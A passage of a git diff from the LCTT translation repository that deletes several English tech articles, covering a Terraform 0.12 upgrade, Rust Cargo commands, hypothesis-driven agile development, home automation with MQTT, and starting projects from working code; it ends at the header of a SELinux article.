that will not account for everything that needs to be changed with the Terraform files. However, it does a great job of making notes within the files. Here are the changes it made to the `vars.tf` file: - - -``` -variable "namespace" { -  type  = string -  default = "helloworld" -} - -variable "cluster" { -  type  = string -  default = "minikube" -} -``` - -The `type` changed to remove quotes around the word `string` (quoting in Terraform files has changed over time). Next, look at the `main.tf` file: - - -``` -provider "kubernetes" { -  config_context_cluster = var.cluster -} - -# TF-UPGRADE-TODO: In Terraform v0.11 and earlier, it was possible to begin a -# resource name with a number, but it is no longer possible in Terraform v0.12. -# -# Rename the resource and run `terraform state mv` to apply the rename in the -# state. Detailed information on the `state move` command can be found in the -# documentation online: -resource "kubernetes_namespace" "1-minikube-namespace" { -  metadata { -        name = var.namespace -  } -} - -provider "helm" { -  kubernetes { -        config_context_cluster = var.cluster -  } -} - -resource "helm_release" "local" { -  name  = "buildachart" -  chart = "./buildachart" -} -``` - -The quotes changed here, too, and variables are no longer wrapped in `${}` characters. The biggest section is a large TODO note that the conversion command placed in the code to show what needs to change in the resource name to be acceptable in version 0.12. Even better, it explains how to fix this issue and the command you need to run. The other major changes are the new `versions.tf` file and a new backup file: - - -``` -$ ls -lrt -drwxr-xr-x 6 jess jess 4096 May 16 14:15 buildachart --rw-rw-r-- 1 jess jess 3897 Oct 24 13:20 terraform.tfstate.backup --rw-r--r-- 1 jess jess   46 Oct 24 13:28 versions.tf --rw-rw-r-- 1 jess jess  140 Oct 24 13:55 vars.tf --rw-r--r-- 1 jess jess  369 Oct 24 13:56 main.tf --rw-rw-r-- 1 jess jess 3821 Oct 24 13:56 terraform.tfstate.1603562212.backup --rw-rw-r-- 1 jess jess 3827 Oct 24 13:56 terraform.tfstate -``` - -To update your production cluster, start with a different name that is better suited for this version: - - -``` -resource "kubernetes_namespace" "upgrade-minikube-namespace" { -  metadata { -        name = var.namespace -  } -} -``` - -#### Smoothing the rough edges - -After that change, you must run the `terraform state mv` command (as referenced in the large TODO note). But first, run `state list` to see what you're working with: - - -``` -$ terraform state list -helm_release.local -Kubernetes_namespace.1-minikube-namespace -``` - -The namespace is still set in the state as `1-minikube-namespace`, and that's the state you need to move. This can be done by ensuring you have the new and old resource names, then running the `terraform state mv` command. But before that, you must switch back to 0.11, using tfenv to make those changes, because this was deployed using Terraform 0.11, and 0.12 doesn't recognize the numbers at the start of the resource name (as the TODO says). You'll have to revert all the code changes the Terraform upgrade made except for the resource name change: - -**main.tf** - - -``` -provider "kubernetes" { -  config_context_cluster   = "${var.cluster}" -} - -resource "kubernetes_namespace" "upgrade-minikube-namespace" { -  metadata { -        name = "${var.namespace}" -  } -} - -provider "helm" { -  kubernetes { -        config_context_cluster   = "${var.cluster}" -  } -} -resource "helm_release" "local" { -  name          = "buildachart" -  chart         = "./buildachart" -} -``` - -**Vars.tf** - - -``` -variable "namespace" { -  type  = "string" -  default = "helloworld" -} - -variable "cluster" { -  type  = "string" -  default = "minikube" -} -``` - -Once the changes are back in place, switch tfenv back to version 0.11, and run the `state mv` command: - - -``` -$ tfenv use 0.11.15-oci -Switching default version to v0.11.15-oci -Switching completed -jess@Athena:~/terraform_doc$ terraform state mv 'kubernetes_namespace.1-minikube-namespace' 'kubernetes_namespace.upgrade-minikube-namespace' -Moved kubernetes_namespace.1-minikube-namespace to kubernetes_namespace.upgrade-minikube-namespace -``` - -### Final steps - -After this is complete, change tfenv back to version 0.12, and then remove your `versions.tf` file to make sure the conversion completes. If you don't remove this file, you'll get an error message: - - -``` -$ terraform 0.12upgrade -Error: Module already upgraded - -  on versions.tf line 3, in terraform: -   3:  required_version = ">= 0.12" - -The module in directory . has a version constraint that suggests it has -already been upgraded for v0.12. If this is incorrect, either remove this -constraint or override this heuristic with the -force argument. Upgrading a -module that was already upgraded may change the meaning of that module. -``` - -Remove the file and run the command: - - -``` -$ terraform 0.12upgrade - -This command will rewrite the configuration files in the given directory so -that they use the new syntax features from Terraform v0.12, and will identify -any constructs that may need to be adjusted for correct operation with -Terraform v0.12. [...] - -Would you like to upgrade the module in the current directory? -  Enter a value: yes - -\----------------------------------------------------------------------------- - -Upgrade complete! -``` - -#### Test the conversion with another deployment - -Test your new conversion by re-running your `init`, `plan`, and `apply` commands (I omitted chunks of the output in these snippets): - - -``` -$ terraform init - -Initializing the backend... -Initializing provider plugins... -[...] -Terraform has been successfully initialized! - -$ terraform plan -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - -helm_release.local: Refreshing state... [id=buildachart] -kubernetes_namespace.upgrade-minikube-namespace: Refreshing state... [id=helloworld] - -\------------------------------------------------------------------------ - -No changes. Infrastructure is up-to-date - -$ terraform apply -helm_release.local: Refreshing state... [id=buildachart] -kubernetes_namespace.upgrade-minikube-namespace: Refreshing state... [id=helloworld] - -Apply complete! Resources: 0 added, 0 changed, 0 destroyed. -``` - -As this shows, once everything was preconfigured and the state moved and reapplied during the conversion, no other changes were made because the infrastructure is in place. - -### Final thoughts - -Code and application upgrades are hard to do, especially in a live production environment. This is very true when converting from Terraform 0.11 to 0.12. I've done this on a large scale, and it involved extensive planning over a two-week timeframe. - -If you're going to do this in your production environment, make sure you: - - * Start by removing any resources or modules with prepended numbers. - * Move the state before running the upgrade. - * Keep your upgraded Terraform files in a forked repo for safety. - - - -I hope this article helps you move forward more quickly and easily than I did. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/update-terraform - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/metrics_lead-steps-measure.png?itok=DG7rFZPk (Green graph of measurements) -[2]: https://opensource.com/article/20/7/terraform-kubernetes -[3]: https://github.com/tfutils/tfenv -[4]: https://opensource.com/article/20/3/helm-kubernetes-charts -[5]: https://opensource.com/article/20/11/tfenv -[6]: http://www.terraform.io/downloads.html diff --git a/sources/tech/20201117 My top 7 Rust commands for using Cargo.md b/sources/tech/20201117 My top 7 Rust commands for using Cargo.md deleted file mode 100644 index 14f6672be1..0000000000 --- a/sources/tech/20201117 My top 7 Rust commands for using Cargo.md +++ /dev/null @@ -1,99 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My top 7 Rust commands for using Cargo) -[#]: via: (https://opensource.com/article/20/11/commands-rusts-cargo) -[#]: author: (Mike Bursell https://opensource.com/users/mikecamel) - -My top 7 Rust commands for using Cargo -====== -Spend some time investigating Rust's package manager, Cargo. -![Person drinking a hot drink at the computer][1] - -I've been using Rust for a little over six months now. I'm far from an expert, but I have stumbled across many, many gotchas and learned many, many things along the way; things that I hope will be of use to those who are learning what is easily my favourite programming language. - -This is the third article in my miniseries for Rust newbs like me. You can find my other excursions into Rust in: - - * [My top 7 keywords in Rust][2] - * [My top 7 functions in Rust][3] - - - -I plan to write more, and this article is about Rust's package manager, [Cargo][4]. I'm ashamed to admit that I don't use Cargo's power as widely as I should, but researching this article gave me a better view of its commands' capabilities. In fact, I wasn't even aware of some of the options available until I started looking in more detail. - -For this list of my top seven Cargo commands, I'll assume you have basic familiarity with Cargo—that you have it installed, and you can create a package using `cargo new `, for instance. I could have provided more commands (there are many options!), but here are my "lucky 7." - - 1. **cargo help <command>:** You can always find out more about a command with the `--help` option. The same goes for Cargo itself: `cargo --help` will give you a quick intro to what's out there. To get more information on a command (more like a man page), you can try using the command `new`. For instance, `cargo help new` will give extended information about `cargo new`. This behaviour is pretty typical for command-line tools, particularly in the Linux/Unix world, but it's very expressively implemented for Cargo, and you can gain lots of quick information with it. - - 2. **cargo build --bin <target>:** What happens when you have multiple .rs files in your package, but you want to build just one of them? I have a package called `test-and-try` that I use for, well, testing and trying functionality, features, commands, and crates. It has around a dozen different files in it. By default, `cargo build` will try to build _all_ of them, and as they're often in various states of repair (some of them generating lots of warnings, some of them not even fully compiling), this can be a real pain. Instead, I place a section in my `Cargo.toml` file for each one like this: [code] - -[[bin]] -name = "warp-body" -path = "src/warp-body.rs" - -[/code] I can then use `cargo build --bin warp-body` to build _just_ this file (and any dependencies). I can then run it with a similar command: `cargo run --bin warp-body`. - - 3. **cargo test:** I have an admission; I am not as assiduous about creating automatic tests in my Rust code as I ought to be. This is because I'm currently mainly writing proof of concept rather than production code, and also because I'm lazy. Maybe changing this behaviour should be a New Year's resolution, but when I _do_ get round to writing tests, Cargo is there to help me (as it is for you). All you need to do is add a line before the test code in your .rs file: [code]`#[cfg(test)]`[/code] When you run `cargo test`, Cargo will "automagically" find these tests, run them, and tell you if you have problems. As with many of the commands here, you'll find much more information online, but it's particularly worth familiarising yourself with the basics of this capability in the relevant [Rust By Example section][5]. - - 4. **cargo search <query>:** This is one of the commands that I didn't even know existed until I started researching this article—and which would have saved me so much time over the past few months if I'd known about it. It searches [Crates.io][6], Rust's repository of public (and _sometimes_ maintained) packages and tells you which ones may be relevant. (You can specify a different repository if you want, with the intuitively named `--registry` option.) I've recently been doing some work on network protocols for non-String data, so I've been working with Concise Binary Object Representation ([CBOR][7]). Here's what happens if I use `cargo search`: - -![Cargo search output][8] - -(Mike Bursell, [CC BY-SA 4.0][9]) - -This is great! I can, of course, also combine this command with tools like grep to narrow down the search yet further, like so: `cargo search cbor --limit 70 | grep serde`. - - 5. **cargo tree:** Spoiler alert: this one may scare you. You've probably noticed that when you first build a new package, or when you add a new dependency, or just do a `cargo clean` and then `cargo build`, you see a long list of crates printed out as Cargo pulls them down from the relevant repositories and compiles them. How can you tell ahead of time, however, what will be pulled down and what version it will be? More importantly, how can you know what other dependencies a new crate has pulled into your build? The answer is `cargo tree`. Just to warn you: For any marginally complex project, you can expect to have a _lot_ of dependencies. I tried `cargo tree | wc -l` to count the number of dependent crates for a smallish project I'm working on and got an answer of 350! I tried providing an example, but it didn't display well, so I recommend that you try it yourself—be prepared for lots of output! - - 6. **cargo clippy:** If you try running this and it doesn't work, that's because I cheated a little with these last two commands: you may have to install them explicitly (depending on your setup). For this one, run `cargo install clippy`—you'll be glad you did. Clippy is Rust's linter; it goes through your code, looking at ways to reduce and declutter it by removing or changing commands. I try to run `cargo clippy` before every `git commit`—partly because the Git repositories I tend to commit to have automatic actions to reject files that need linting, and partly to keep my code generally more tidy. Here's an example: - -![Cargo clippy output][10] - -(Mike Bursell, [CC BY-SA 4.0][9]) - -Let's face it; this isn't a major issue (though clippy will find errors, too, if you run it on non-compiling code), but it's an easy fix, so you might as well deal with it—either by removing the code or prefixing the variable with an underscore. As I plan to use this variable later but haven't yet implemented the function to consume it, I will perform the latter fix. - - 7. **cargo readme:** While it's not the most earth-shattering of commands, this is another that is very useful (and that, as with `cargo clippy`, you may need to install explicitly). If you add the relevant lines to your .rs files, you can output README files from Cargo. For instance, I have the following lines at the beginning of my main.rs file: - -![Cargo readme input][11] - -(Mike Bursell, [CC BY-SA 4.0][9]) - -I'll leave the `cargo readme` command's output as an exercise for the reader, but it's interesting to me that the Licence (or "License," if you must) declaration is added. Use this to create simple documentation for your users and make them happy with minimal effort (always a good approach!). - - - - -I've just scratched the surface of Cargo's capabilities in this article; all the commands above are actually way more powerful than I described. I heartily recommend that you spend some time investigating Cargo and finding out how it can make your life better. - -* * * - -_This article was originally published on [Alice, Eve, and Bob][12] and is reprinted with the author's permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/commands-rusts-cargo - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hot drink at the computer) -[2]: https://opensource.com/article/20/10/keywords-rust -[3]: https://opensource.com/article/20/10/rust-functions -[4]: https://doc.rust-lang.org/cargo/ -[5]: https://doc.rust-lang.org/stable/rust-by-example/testing/unit_testing.html -[6]: https://crates.io/ -[7]: https://cbor.io/ -[8]: https://opensource.com/sites/default/files/uploads/cargo-search-output-5.png (Cargo search output) -[9]: https://creativecommons.org/licenses/by-sa/4.0/ -[10]: https://opensource.com/sites/default/files/uploads/cargo-clippy-output-1.png (Cargo clippy output) -[11]: https://opensource.com/sites/default/files/uploads/cargo-readme-input.png (Cargo readme input) -[12]: https://aliceevebob.com/2020/11/03/my-top-7-cargo-rust-commands/ diff --git a/sources/tech/20201118 Apply the Scientific Method to agile development.md b/sources/tech/20201118 Apply the Scientific Method to agile development.md deleted file mode 100644 index 983e15a972..0000000000 --- a/sources/tech/20201118 Apply the Scientific Method to agile development.md +++ /dev/null @@ -1,170 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Apply the Scientific Method to agile development) -[#]: via: (https://opensource.com/article/20/11/hypothesis-driven-development) -[#]: author: (Alex Bunardzic https://opensource.com/users/alex-bunardzic) - -Apply the Scientific Method to agile development -====== -Hypothesis-driven development allows constant analysis of new -information to implement new insights (and deliver new customer value) -on an ongoing basis. -![Science lab with beakers][1] - -> "The only way it’s all going to go according to plan is if you don’t learn anything." —Kent Beck - -Experimentation is the foundation of the scientific method, which is a systematic means of exploring the world around us. But experimentation is not only reserved for the field of scientific research. It has a central place in the world of business too. - -Most of us are by now familiar with the business methodology called [Minimum Viable Product (MVP)][2]. This Minimum Viable Product is basically just an experiment. By building and launching MVPs, business operations are engaging in a systematic means of exploring the markets. - -If we look at market leaders today, we learn that they’re not doing projects anymore; the only thing they’re doing is experiments. Customer discovery and lean strategies are only used to test assumptions about the markets. Such an approach is equivalent to Test-Driven Development (TDD), which is the process we are intimately familiar with. In TDD, we write the hypothesis (the test) first. We then use that test to guide our implementation. Ultimately, product or service development is no different than TDD—we first write a hypothesis, then that hypothesis guides our implementation, which serves as measurable validation of the hypothesis. - -### Information discovery - -Back in the pre-agile days, requirements gathering was an important activity that used to always kick off the project. A bunch of subject matter experts (SMEs) would get assigned to the project and be tasked with gathering the requirements. After a prolonged period of upfront information discovery, the gathered requirements got reviewed and, if agreed upon, signed off and frozen. No more changes allowed! - -Back then, it seemed a perfectly reasonable thing to do. The fly in the ointment always showed up once the build phase commenced. Sooner or later, as the project progresses, new information comes to light. Suddenly, what we initially viewed as incontrovertible truth gets challenged by the newly acquired information and evidence. - -But the clincher was in the gated phases. Remember, once requirements get signed off, they get frozen—no more changes, no scope creep allowed—which means newly obtained market insights get willfully ignored. - -Well, that’s kind of foolish neglect. The newly emerging evidence could be of critical importance to the health of the business operation. Can we afford to ignore it? Absolutely not! We have no choice but to embrace the change. - -After a number of prominent fiascos in the industry, many software development projects switched to the agile approach. With agile, information discovery is partial. With agile, we never claim that we have gathered the requirements and are now ready to implement them. We discover information and implement it on an ongoing basis. We do it in tiny steps, keeping our efforts interruptible and steerable at all times. - -### How to leverage the scientific method - -The scientific method is empirical and consists of the following steps: - -Step 1: Make and record careful observations. - -Step 2: Perform orientation with regard to observed evidence. - -Step 3: Formulate a hypothesis, including measurable indicators for hypothesis evaluation. - -Step 4: Design an experiment that will enable testing of the hypothesis. - -Step 5: Conduct the experiment (i.e., release the partial implementation). - -Step 6: Collect the telemetry that results from running the experiment. - -Step 7: Evaluate the results of the experiment. - -Step 8: Accept or reject the hypothesis. - -Step 9: Return to Step 1. - -### How to formulate a hypothesis - -When switching from project to experiments, the traditional user story framework (As a__I want to__so that__) has proven insufficient. The traditional user story format does not expose the signals needed in order to evaluate the outcomes. Instead, the old school user story format is focused on outputs. - -The problem with doing an experiment without first formulating a hypothesis is that there is a danger of introducing a bias when interpreting the results of an experiment. Defining the measurable signals that will enable us to corroborate our hypothesis must be done before we conduct the experiment. That way, we can remain completely impartial when interpreting the results of the experiment. We cannot be swayed by wishful thinking. - -The best way to proceed with formulating a hypothesis is to use the following format: - -We believe [this capability] will result in [this outcome]. We will have the confidence to proceed when [we see a measurable signal]. - -### Working software is not a measure of progress - -Output-based metrics and concepts (definition of "done," acceptance criteria, burndown charts, and velocity) are good for detecting working software but fall miserably when it comes to detecting if working software adds value. - -"Done" only matters if it adds value. Working software that doesn’t add value cannot be declared "done." - -### The forgotten column - -Technology-centric projects break activities down into four columns: - - 1. Backlog of ideas - 2. Analysis - 3. In progress - 4. Shipped - - - -The above structure is based on the strong belief that all software that works is valuable. That focus must now shift toward continuously delivering real value, something that serves customers. Agilists value outcomes (value to the customers) over features. - -The new breakdown for hypothesis-driven development looks something like this: - -Ideas Backlog - -| - -Analysis - -| - -In Progress - -| - -Shipped - -| - -Achieved Desired Outcome - ----|---|---|---|--- - -Hypothesis 11 - -Hypothesis 12 - -Hypothesis 13 - -Hypothesis 14 - -Hypothesis 15 - -Hypothesis 16 - -Hypothesis 17 - -Hypothesis 18 - -Hypothesis 19 - -| - -Hypothesis 20 - -Hypothesis 21 - -| - -Hypothesis 26 - -| - -Hypothesis 2 - -Hypothesis 5 - -Hypothesis 9 - -Hypothesis 10 - -| - -Hypothesis 1 - -Hypothesis 5 - -All eyes must remain on the Achieved Desired Outcome column. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/hypothesis-driven-development - -作者:[Alex Bunardzic][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alex-bunardzic -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/science_experiment_beaker_lab.png?itok=plKWRhlU (Science lab with beakers) -[2]: https://en.wikipedia.org/wiki/Minimum_viable_product#:~:text=A%20minimum%20viable%20product%20%28MVP,feedback%20for%20future%20product%20development.&text=The%20concept%20can%20be%20used,developments%20of%20an%20existing%20product. diff --git a/sources/tech/20201118 Cloud control vs local control- What to choose for your home automation.md b/sources/tech/20201118 Cloud control vs local control- What to choose for your home automation.md deleted file mode 100644 index b1d86bd080..0000000000 --- a/sources/tech/20201118 Cloud control vs local control- What to choose for your home automation.md +++ /dev/null @@ -1,134 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Cloud control vs local control: What to choose for your home automation) -[#]: via: (https://opensource.com/article/20/11/cloud-vs-local-home-automation) -[#]: author: (Steve Ovens https://opensource.com/users/stratusss) - -Cloud control vs local control: What to choose for your home automation -====== -Cloud may be more convenient, but local control gives you more privacy -and other options in your Home Assistant ecosystem. -![clouds in windows][1] - -There are a lot of factors to consider when investing in a home automation ecosystem. In my first article in this series, I explained [why I picked Home Assistant][2], and in this article, I'll explain some of the foundational issues and technologies in home automation, which may influence how you approach and configure your Internet of Things (IoT) devices. - -### Cloud connectivity - -Most devices you can buy today are tied to some type of cloud service. While the cloud brings a certain level of convenience, it also opens a host of problems. For starters, there are privacy issues related to a company having access to your personal habits—when you are home, what shows you watch, what time you go to bed, etc. Although most people are not as concerned about these issues as I am, privacy should still be a consideration, even if it is a small one. - -Cloud access also creates issues around being reliant on something outside your control. In 2019, Sonos came under fire for [remotely bricking][3] older smart speakers. Speakers usually continue to work for years after their warranty ends; in fact, they usually function until they physically break. There's also the case of Automatic, which produced a cloud-based car tracker. When it announced in May 2020 that it would be [shutting down][4] its services, it advised customers to "please discard your adapter by following standard electronic recycling procedures." - -Being dependent on a third-party provider for critical functionality can come back to bite you. [IFTTT][5], a popular service for programming events based on external conditions, recently altered its free plan's [terms and conditions][6] to severely limit the number of events you can create—from an unlimited number to three. This is even though IFTTT charges device manufacturers for certification with its system, which allows products like [Meross smart bulbs][7] to proudly display their compatibility with IFTTT. - -![Meross screenshot from Amazon][8] - -(Amazon screenshot by Steve Ovens, [CC BY-SA 4.0][9]) - -Some of these decisions are purely financial, but there are more than a few anecdotal cases where a company blocks a person's access to a device they purchased simply because they [did not like what the user said][10] about them. How crazy is that? - -Another consideration with cloud connectivity is a device's responsivity if its signals must travel from your home to a cloud server (which may be halfway around the world) and then back to the device. This can lead to a two-second (or more) delay on any action. For some people, this is not a deal-breaker. For others, that delay is unbearable. - -Finally, what happens if there is an internet outage? While most modern home internet connections are quite reliable, they do happen. [Some large][11], well-known cloud [service providers][12] have experienced outages this year. Are you OK trading convenience for possibly having your automations break and losing control of your smart devices for periods of time? - -### Local control - -There are several ways you can regain control over your smart devices. Commercially, you could try something like [Hubitat][13], which is a proprietary platform that emphasizes local control. I have no experience with these devices, as I don't like to rely on an intermediary. - -In my home, I standardized on WiFi (although I may branch out to [Zigbee][14] in the future) and [Home Assistant][15]. Using WiFi means I need to buy or make my devices based on their compatibility with alternative open source firmware, such as [Tasmota][16] or [ESPHome][17]. I admit that neither of these options is "plug-and-play friendly" unless you buy devices from sources like [Shelly][18], which is very friendly to the community, or [CloudFree][19], which has Tasmota installed by default. - -(As a small aside, I have both flashed my own devices and purchased them from CloudFree. There are some savings with the DIY approach, but I buy pre-flashed devices for my father's house because this eliminates a lot of hassle.) - -I won't go into more detail about alternative firmware, how to flash it, and so on. I simply want to introduce you to the idea that there are options for local control. - -### Achieving local control with MQTT - -A local control device probably uses either a direct [API][20] call, where Home Assistant talks directly to the device, or Message Queuing Telemetry Transport ([MQTT][21]). - -MQTT is one of the most widely used protocols for local IoT communication. I'll share some of the basics, but the Hook Up has an [in-depth video][22] you can watch if you want to learn more, and HiveMQ has an [entire series][23] on MQTT essentials. - -MQTT uses three components for communication. The first, the **sender**, is the component that triggers the action. The second, the **broker**, is kind of like a bulletin board where messages are posted. The final component is the **device** that will perform the action. This process is called the _publish-subscribe_ model. - -Say you have a button on the wall that you want to use to turn on the projector, lower the blinds, and turn on a fan. The button (sender) posts the _message_ **ON** to a specific section of the broker, called a _topic_. The topic might be something like `/livingroom/POWER`. The fan, the projector, and the blinds _subscribe_ to this topic. When the message **ON** is posted to the topic, all of the devices activate their respective functions, turning on the projector, lowering the blinds, and starting the fan. - -Unlike a message board, messages have different Quality of Service (QoS) states. The HiveMQ website has a good explanation of the [three QoS levels][24]. In short: - - * **QoS 0:** The message is sent to the broker in a fire-and-forget way. No attempt is made to verify that the broker received the message. - - - -![MQTTT QoS 0][25] - -(© 2015 [HiveMQ][24], reused with permission) - - * **QoS 1**: The message is posted, and the broker replies once the message is received. Multiple messages can be sent before the broker replies. For example, if you are trying to raise the projector's brightness, multiple brightness bars may be inadvertantly adjusted before the broker tells the sender to stop publishing messages. - - - -![MQTTT QoS 1][26] - -(© 2015 [HiveMQ][24], reused with permission) - - * **QoS 2:** This is the slowest but safest level. It guarantees that the message is received only once. Similar to TCP, if a message is lost, the sender will resend the message. - - - -![MQTTT QoS 2][27] - -(© 2015 [HiveMQ][24], reused with permission) - -In addition, MQTT has a **retain** flag that can be enabled on the messages, but it is not set by default. Going back to the bulletin board analogy, it's like if someone posts a message to a bulletin board, but another person walks up to the board, takes the message down, reads it, and throws it away. If a third person looks at the bulletin board five minutes later, they would have no knowledge of the message. However, if the **retain** flag is set to true, it's like leaving the message pinned on the board until a new message is received. This means that no matter when people come to read messages, they will all know the latest message. - -In home automation terms, whether or not the **retain** flag is set depends completely on the use case. - -In this series, I will use Home Assistant's [Mosquitto MQTT broker][28] add-on. Most of my devices use MQTT; however, I do have a couple of non-critical Tuya devices that require a cloud account. I may replace them with locally controllable ones in the future. - -### Wrapping up - -Home Assistant is a large, wonderful piece of software. It is complex in some areas, and it will help you to be familiar with these fundamental technologies when you need to troubleshoot and coordinate your setup. - -In the next article, I will talk about the "big three" wireless protocols that you are likely to encounter in smart devices: Zigbee, Z-Wave, and WiFi. Don't worry—I'm almost done with the underlying theories, and soon I'll get on with installing Home Assistant. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/cloud-vs-local-home-automation - -作者:[Steve Ovens][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stratusss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cloud-windows-building-containers.png?itok=0XvZLZ8k (clouds in windows) -[2]: https://opensource.com/article/20/11/home-assistant -[3]: https://www.bbc.com/news/technology-51768574 -[4]: https://www.cnet.com/roadshow/news/automatic-connected-car-service-dead-may-coronavirus/ -[5]: https://ifttt.com/ -[6]: https://ifttt.com/plans -[7]: https://www.amazon.ca/meross-Dimmable-Equivalent-Compatible-Required/dp/B07WN2J3C7 -[8]: https://opensource.com/sites/default/files/uploads/ifttt_add.png (Meross screenshot from Amazon) -[9]: https://creativecommons.org/licenses/by-sa/4.0/ -[10]: https://www.techrepublic.com/article/iot-company-bricks-customers-device-after-negative-review/ -[11]: https://www.theverge.com/2020/9/28/21492688/microsoft-outlook-office-teams-azure-outage-down -[12]: https://www.cnn.com/2020/08/30/tech/internet-outage-cloudflare/index.html -[13]: https://hubitat.com/ -[14]: https://zigbeealliance.org/ -[15]: https://www.home-assistant.io/ -[16]: https://tasmota.github.io/docs/ -[17]: https://esphome.io/ -[18]: https://shelly.cloud/ -[19]: https://cloudfree.shop/ -[20]: https://en.wikipedia.org/wiki/API -[21]: https://en.wikipedia.org/wiki/MQTT -[22]: https://www.youtube.com/watch?v=NjKK5ab0-Kk -[23]: https://www.hivemq.com/tags/mqtt-essentials/ -[24]: https://www.hivemq.com/blog/mqtt-essentials-part-6-mqtt-quality-of-service-levels/ -[25]: https://opensource.com/sites/default/files/uploads/ha-config8-qos0.png (MQTTT QoS 0) -[26]: https://opensource.com/sites/default/files/uploads/ha-config8-qos1.png (MQTTT QoS 1) -[27]: https://opensource.com/sites/default/files/uploads/ha-config9-qos2.png (MQTTT QoS 2) -[28]: https://mosquitto.org/ diff --git a/sources/tech/20201118 Day 8- Start with something that works.md b/sources/tech/20201118 Day 8- Start with something that works.md deleted file mode 100644 index 3ba5299dbd..0000000000 --- a/sources/tech/20201118 Day 8- Start with something that works.md +++ /dev/null @@ -1,66 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Day 8: Start with something that works) -[#]: via: (https://jvns.ca/blog/2020/11/18/how-to-do-hard-projects--start-with-something-that-works/) -[#]: author: (Julia Evans https://jvns.ca/) - -Day 8: Start with something that works -====== - -Today at RC I’m a little stuck so here’s a very short reflection on how to do hard programming problems :) - -I was talking to a friend yesterday about how to do programming projects that are a bit out of your comfort zone, and I realized that there’s a pattern to how I approach new-to-me topics! Here I’m especially thinking about little side projects where you want to get the thing done pretty efficiently. - -When I start on a new project using some technology I haven’t worked with before, I often: - - 1. Find some code on the internet that already does something a little like what I want - 2. Incrementally modify that code until it does what I want, often completely changing everything about the original code in the process - - - -Here are a couple of quick thoughts about this process: - -### it’s important that the initial code _works_ - -Often when I’m out looking for examples, I’ll find a lot of code that I can’t get to work quickly, often because the code is kind of old and things have changed since then. Whenever possible, I try to find code that I can get to work on my computer pretty quickly. - -It’s been pretty helpful to me to give up relatively quickly on code that I can’t get to work right away and look for another example – often there is something out there that’s more recent and that I can get to work more quickly! - -### you have to be able to incrementally change the code into what you want - -Today I’ve been working with some neural network code, and one thing I’m really struggling with for the last couple of days is that I find it pretty easy to find somewhat relevant Jupyter notebooks that do RNN things, and pretty hard to modify those examples to do something closer to what I want. They keep breaking and I then don’t know how to fix them. - -Last week I was working on a Rails app, which I think is something that’s very easy to incrementally change into the program you want: `rails new` gives you a webserver that does almost nothing, but it works! And then you just need to change it one tiny step at a time into the website you want to build. - -### examples of “something that works” - - * If you want to write a window manager, [tinywm][1] is a window manager in 50 lines of C! - * this tiny kernel written in Rust that does nothing was a fun starting point for an operating system (probably it’s not a good starting point today) - * `rails new`, like I talked about above - * I love that projects let you “view source” on the backend of any Glitch project - * Jupyter notebooks, like [these great NLP tutorials by Allison Parrish][2] - - - -### that’s all! - -I think little starting points like this are so important and can be really magical. Finding the right starting point can be hard, but when I find a good one it makes everything so much easier! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/18/how-to-do-hard-projects--start-with-something-that-works/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: http://incise.org/tinywm.html -[2]: https://twitter.com/aparrish/status/876117075567284225 diff --git a/sources/tech/20201118 Secure your containers with SELinux.md b/sources/tech/20201118 Secure your containers with SELinux.md deleted file mode 100644 index 1f63e033cc..0000000000 --- a/sources/tech/20201118 Secure your containers with SELinux.md +++ /dev/null @@ -1,275 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Secure your containers with SELinux) -[#]: via: (https://opensource.com/article/20/11/selinux-containers) -[#]: author: (Mike Calizo 